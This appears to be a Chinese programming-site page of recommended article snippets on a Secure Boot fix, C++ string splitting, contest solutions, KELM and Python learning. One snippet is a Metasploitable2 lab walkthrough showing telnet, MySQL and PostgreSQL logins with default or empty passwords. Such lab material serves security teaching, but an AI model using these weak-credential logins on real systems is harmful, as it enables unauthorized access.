文章浏览阅读587次。软件测试工程师移民加拿大 无证移民,未受过软件工程师的教育(第1部分) (Undocumented Immigrant With No Education to Software Engineer(Part 1))Before I start, I want you to please bear with me on the way I write, I have very little gen...

随便推点

Thinkpad X250 secure boot failed 启动失败问题解决_安装完系统提示secureboot failure-程序员宅基地

文章浏览阅读304次。Thinkpad X250笔记本电脑,装的是FreeBSD,进入BIOS修改虚拟化配置(其后可能是误设置了安全开机),保存退出后系统无法启动,显示:secure boot failed ,把自己惊出一身冷汗,因为这台笔记本刚好还没开始做备份.....根据错误提示,到bios里面去找相关配置,在Security里面找到了Secure Boot选项,发现果然被设置为Enabled,将其修改为Disabled ,再开机,终于正常启动了。_安装完系统提示secureboot failure

C++如何做字符串分割(5种方法)_c++ 字符串分割-程序员宅基地

文章浏览阅读10w+次,点赞93次,收藏352次。1、用strtok函数进行字符串分割原型: char *strtok(char *str, const char *delim);功能:分解字符串为一组字符串。参数说明:str为要分解的字符串,delim为分隔符字符串。返回值:从str开头开始的一个个被分割的串。当没有被分割的串时则返回NULL。其它:strtok函数线程不安全,可以使用strtok_r替代。示例://借助strtok实现split#include <string.h>#include <stdio.h&_c++ 字符串分割

2013第四届蓝桥杯 C/C++本科A组 真题答案解析_2013年第四届c a组蓝桥杯省赛真题解答-程序员宅基地

文章浏览阅读2.3k次。1 .高斯日记 大数学家高斯有个好习惯:无论如何都要记日记。他的日记有个与众不同的地方,他从不注明年月日,而是用一个整数代替,比如:4210后来人们知道,那个整数就是日期,它表示那一天是高斯出生后的第几天。这或许也是个好习惯,它时时刻刻提醒着主人:日子又过去一天,还有多少时光可以用于浪费呢?高斯出生于:1777年4月30日。在高斯发现的一个重要定理的日记_2013年第四届c a组蓝桥杯省赛真题解答

基于供需算法优化的核极限学习机(KELM)分类算法-程序员宅基地

文章浏览阅读851次,点赞17次,收藏22次。摘要:本文利用供需算法对核极限学习机(KELM)进行优化,并用于分类。

metasploitable2渗透测试_metasploitable2怎么进入-程序员宅基地

文章浏览阅读1.1k次。一、系统弱密码登录1、在kali上执行命令行telnet 192.168.26.1292、Login和password都输入msfadmin3、登录成功,进入系统4、测试如下:二、MySQL弱密码登录:1、在kali上执行mysql –h 192.168.26.129 –u root2、登录成功,进入MySQL系统3、测试效果:三、PostgreSQL弱密码登录1、在Kali上执行psql -h 192.168.26.129 –U post..._metasploitable2怎么进入

Python学习之路:从入门到精通的指南_python人工智能开发从入门到精通pdf-程序员宅基地

文章浏览阅读257次。本文将为初学者提供Python学习的详细指南,从Python的历史、基础语法和数据类型到面向对象编程、模块和库的使用。通过本文,您将能够掌握Python编程的核心概念,为今后的编程学习和实践打下坚实基础。_python人工智能开发从入门到精通pdf

推荐文章

热门文章

相关标签